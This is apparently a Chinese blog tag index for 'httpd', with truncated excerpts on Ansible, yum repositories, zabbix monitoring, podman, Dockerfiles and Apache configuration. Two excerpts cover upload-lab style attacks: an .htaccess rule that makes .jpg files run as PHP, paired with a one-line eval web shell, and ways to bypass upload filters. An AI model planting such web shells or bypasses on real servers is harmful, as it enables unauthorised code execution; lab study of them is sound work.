首页 > TAG信息列表 > httpd
ansible学习笔记
Ansible 一、基本模块介绍 模块分类: host inventory(主机池) core modules(管理模块) custom modules(自定义模块) connection plugins(连接插件) playbooks(把一个主机需要完成的多个任务,多次调用,幂等性,yaml,jinjia2模板语言) 默认使用ssh协议: 基于ssh将公钥拷贝到hosts 在in搭建yum源
实验任务 给centos7或者Windows2016搭建yum源 实验环境 一台windwos2016或者centos7 实验步骤 1.首先挂在光盘: 2.把/etc/yum.repos.d下面的文件备份到backup中: 3.修改yum的配置文件: vi /etc/yum.repos.d/local.repo [yum] name=yum baseurl=file://Apache httpd + tomcat 简单集群负载均衡配置
目录环境步骤1. 使用集群,确保web.xml中一定要有<distributable/>2. 对Tomcat的server.xml文件进行配置3. 配置Apache httpd1. 解压httpd-2.4.25-win64-VC14.zip2. 修改配置文件Apache24/conf/httpd.conf3. 安装Apache httpd服务4. 负载均衡配置mod_jk配置分别启动Tomcat,然后启动htzabbix自定义监控
zabbix自定义监控 自定义监控进程 测试监控httpd,需要在监控端部署httpd,以方便监控 `` 配置监控脚本 #在监控端 [root@localhost ~]# dnf -y install httpd [root@localhost ~]# systemctl start httpd [root@localhost ~]# ss -anlt | grep 80 LISTEN 0 128 *zabbix自定义监控进程与日志
zabbix自定义监控进程与日志 目录zabbix自定义监控进程与日志zabbix自定义监控进程zabbix自定义监控日志 zabbix自定义监控进程 基于之前的邮箱告警,部署完成后,我们在zabbix客户端进行编译脚本用来监控进程, 下面是通过httpd进程来进行测试 在客户端 [root@localhost ~]# dnf -y iCentos7搭建yum仓库
Centos7搭建yum仓库centos7搭建yum仓库全过程实验环境:主yum服务器:10.103.16.132客户端:10.103.16.131系统版本:centos linux release 7.6.1810(core)二边服务器都需要关闭防火墙和selinux,具体操作方法这里不细讲。yum仓库服务器搭建 说明:这里以网页形式来创建yum仓库1.配置第三方源:y创建镜像(alpine版)+alpine
目录podman用脚本和dockerfile做apache编译安装镜像1.0安装介质2.0 特点2.0 基础命令3.0 模式 podman用脚本和dockerfile做apache编译安装镜像 [root@localhost ~]# mkdir httpd [root@localhost ~]# cd httpd/ [root@localhost httpd]# touch Dockerfile [root@localhost httpodman用脚本和dockerfile做apache编译安装镜像(alpine版)
podman用脚本和dockerfile做apache编译安装镜像(alpine版) alpine系统是什么 Alpine Linux 是一个基于 musl libc 和 busybox 的面向安全的轻量级 Linux 发行版。 alpine系统的特点 小巧:基于Musl libc和busybox,和busybox一样小巧,最小的Docker镜像只有5MB; 安全:面向安全的轻量发行版;dockerfile
目录基础结构指令fromlabel maintainerruncmdexportenvaddcopyentrypointvolumeuserworkdironbuild创建镜像 基础结构 Dockerfile 是一个文本格式的配置文件,用户可以使用 Dockerfile 快速创建自定义镜像。 Dockerfile 由一行行命令语句组成,并且支持以 # 开头的注释行。 Docker分为查看linux中的TCP连接数
一、查看哪些IP连接本机 netstat -an 二、查看TCP连接数 1)统计80端口连接数netstat -nat|grep -i "80"|wc -l 2)统计httpd协议连接数ps -ef|grep httpd|wc -l 3)、统计已连接上的,状态为“establishednetstat -na|grep ESTABLISHED|wc -l 4)、查出哪个IP地址连接最多,将其封了.netstApache服务器性能监控
Apache服务器性能监控 1、使用自带mod_status模块监控 1)加载mod_status.so 模块 在httpd.conf中打开LoadModule status_module modules/mod_status.so 2)修改httpd.conf配置文件增加(删注释#)如下内容: <Location /server-status> SetHandler server-status Order dApache性能监控
Apache性能监控 - 虫师 - 博客园 https://www.cnblogs.com/fnng/archive/2012/11/11/2765463.html linux下通过server-status监控性能 要监控apache的性能,我们需要修改配置文件,允许查看ap用podman进行dockerfile做一个httpd编译安装的镜像
用podman进行dockerfile做一个httpd编译安装的镜像 目录用podman进行dockerfile做一个httpd编译安装的镜像1.创建好目录结构2.进行编写dockerfile3.使用dockerfile创建镜像4.使用镜像运行容器进行测试 1.创建好目录结构 #下载好需要使用的包 [root@localhost ~]# wget http://mirr.htaccess的两种写法和.user.ini
一、.htaccess文件上传方法一: FileMatch 参数即为文件名的正则匹配<FilesMatch "1.jpg"> SetHandler application/x-httpd-php</FilesMatch>// 1.jpg<?php eval($_GET['a']);?> 方法二:AddType application/x-httpd-php .jpg// 1.jpg<?php eval($_GET[17.upload-lab
一. 前端代码进行防护,浏览器禁用js,或者使用burp修改文件后缀 二. 后端代码进行防护,使用burp修改文件content-type 三. 利用前提:需要apache的配置文件里面能够解析php5等后缀,然后直接上传.php5等后缀文件 # cd /opt/lampp/etc # vim httpd.conf Addtype applikubernetes之镜像拉取策略;
各工作节点负责运行Pod对象,而Pod的核心功能用于运行容器,因此工作节点上必须配置容器引擎,如Dokcer、Containerd等,启动容器时,容器引擎将首先于本地查找指定的镜像文件,不存在的镜像则需要从指定的镜像仓库(Registry)下载至本地; kubernetes支持用户自定义镜像文件的获取方式策略,例httpd基于用户的访问控制
13、基于用户的访问控制 认证质询:WWW-Authenticate:响应码为401,拒绝客户端请求,并说明要求客户端提供账号和密码 认证:Authorization:客户端用户填入账号和密码后再次发送请求报文;认证通过时,则服务器发送响应的资源 认证方式两种: basic:明文 digest:消息摘要认证,兼容性差 安全httpd--status页面
LoadModule status_module modules/mod_status.so <Location "/status"> SetHandler server-status #限制谁可以访问 <requireany> require all denied require ip 192.168.37.0/24 </requireany> </Location> #ExtendedStatuhttpd--虚拟主机
17、虚拟主机 站点标识: socket IP相同,但端口不同 IP不同,但端口均为默认端口 FQDN不同:请求报文中首部 Host: www.magedu.com 有三种实现方案: 基于ip:为每个虚拟主机准备至少一个ip地址 基于port:为每个虚拟主机使用至少一个独立的port 基于FQDN:为每个虚拟主机使用至少一个FQDpodman的基本设置和使用
podman的基本设置和使用 目录podman的基本设置和使用运行httpd示例容器列出和检查正在运行的容器测试httpd服务器查看容器日志查看容器的进程对容器执行检查操作还原容器迁移容器停止容器移除容器podman签名和分发容器并推送到harbor仓库中 运行httpd示例容器 [root@localhost ~]podman基础用法
podman基础用法 目录podman基础用法podman常用命令podman的基础设置和使用运行示例容器列出正在运行的容器检查正在运行的容器测试httpd服务器查看容器的日志查看容器进程pid对容器执行检查操作还原容器迁移容器停止容器移除容器podman签名和分发容器并推送到harbor仓库中 podmanpodman对容器映像签名和分发
目录熟悉podman如何使用 Podman 对容器映像进行签名和分发 熟悉podman 此示例容器将运行一个非常基本的 httpd 服务器,该服务器仅为其索引页提供服务 [root@mr ~]# podman ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@mr ~]# popodman的基本设置和使用,签名分发镜像推送到harbor仓库
podman的基本设置和使用 目录podman的基本设置和使用podman的基本设置和使用运行示例容器列出正在运行的容器检查正在运行的容器测试httpd服务器查看容器日志查看容器的pid对容器执行检查点操作恢复容器迁移容器停止容器移除容器podman签名分发镜像推送到harbor仓库 Podman 是作为podman的基本设置和使用
podman的基本设置和使用 运行一个示例容器 [root@localhost ~]# podman run -dt -p 8080:8080/tcp -e HTTPD_VAR_RUN=/run/httpd -e HTTPD_MAIN_CONF_D_PATH=/etc/httpd/conf.d \ > -e HTTPD_MAIN_CONF_PATH=/etc/httpd/conf \ > -e HTTPD_CONTAINER_SCRIPTS_PATH=/usr/share/copodman的基本设置与podman签名
目录podman的基本设置和使用签名和分发 podman的基本设置和使用 //注:因为只有一个容器所有使用的-l参数 创建一个容器并放在后台运行做一个端口映射 -p [root@harbor harbor]# podman run -dt -p 8080:8080/tcp -e HTTPD_VAR_RUN=/run/httpd -e HTTPD_MAIN_CONF_D_PATH=/etc/htt